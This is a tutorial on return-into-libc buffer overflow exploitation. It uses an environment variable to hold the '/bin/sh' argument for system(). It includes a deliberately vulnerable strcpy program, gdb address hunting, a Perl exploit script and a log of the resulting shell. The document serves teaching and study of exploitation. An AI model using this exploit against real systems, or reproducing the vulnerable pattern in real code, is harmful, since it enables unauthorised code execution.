The scope of this article is to explain how to use the environment variables to successfully exploit a buffer overflow with a return into lib C. This approach has many advantages in particular :
int foo(char *string)
{
char vuln[25];
strcpy(vuln, string);
return 42;
}
int main(int ac, char **av)
{
foo(av[1]);
return 42;
}
As you can see there is no place to put the system() argument in this program. The environment will consequently be used to store it.
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int main(int ac, char **av)
{
char command[500];
int len;
int i;
memset (command, '\0', 500);
len = strlen(av[1]);
//filling with " " which is the equivalent for the return of the \x90 of shellcode
for (i = 0; i <= 500 - len; i++)
command[i] = ' ';
//filling with the command equivalent to the shellcode :)
strcat(command, av[1]);
setenv("RCL", command, 1);
system("/bin/bash");
return 42;
}
[lupin@saphyr return-into-libc]$ ./env /bin/sh
[lupin@saphyr return-into-libc]$ export
declare -x BROWSER="kfmclient openProfile webbrowsing"
declare -x COLORTERM=""
declare -x DISPLAY=":0"
declare -x GTK_RC_FILES="/etc/gtk/gtkrc:/home/lupin/.gtkrc"
<-snipe->
declare -x RCL="
/bin/sh"
declare -x SECURE_LEVEL="0"
<- snipe ->
[lupin@saphyr return-into-libc]$
One can see the command passed to the program (/bin/sh) is in the environment with a lot of spaces.
Breakpoint 1, 0x08048496 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40073440 <system>
(gdb) x/20x $esp
0xbffff5d0: 0x08049538 0x08049640 0xbffff618 0x400405b0
0xbffff5e0: 0x00000001 0xbffff644 0xbffff64c 0x080482fa
0xbffff5f0: 0x08048500 0x00000000 0xbffff618 0x4004059a
0xbffff600: 0x00000000 0xbffff64c 0x4015b9e0 0x40015638
0xbffff610: 0x00000001 0x08048360 0x00000000 0x08048381
<- snipe ->
(gdb)
0xbffff800: 0x72756540 0x4f48006f 0x414e5453 0x733d454d
0xbffff810: 0x79687061 0x43520072 0x20203d4c 0x20202020
0xbffff820: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff830: 0x20202020 0x20202020 0x20202020 0x20202020
0xbffff840: 0x20202020 0x20202020 0x20202020 0x20202020
...
Let's pick an address in the middle of the \x20.
#making the overflow $over = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; #giving the system() adress to make the return into libc # 0x40073440 -> 40 34 07 40 $retaddr = "\x40\x34\x07\x40"; #giving a dummy return adress to our function $dummy = "FAKE"; #giving the adress of our env variable has arg #0xbffff870 $arg1 = "\x70\xf8\xff\xbf"; #Smash it !!! print $over; #print "BBBB"; print $retaddr; print $dummy; print $arg1;
[lupin@saphyr return-into-libc]$ ./vul `perl exploit.pl`
sh-2.05$ ps afx
PID TTY STAT TIME COMMAND
9 ? SW 0:00 [kupdated]
8 ? SW 0:00 [bdflush]
7 ? SW 0:00 [kreclaimd]
6 ? SW 0:00 [kswapd]
<- snipe ->
2206 pts/1 S 0:00 | \_ /bin/bash
2415 pts/1 S 0:00 | \_ ./env /bin/sh
2416 pts/1 S 0:00 | \_ /bin/bash
2527 pts/1 S 0:00 | \_ ./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@4?@FAKEpøÿ¿
2528 pts/1 S 0:00 | \_ /bin/sh
2530 pts/1 R 0:00 | \_ ps afx
Et voila :).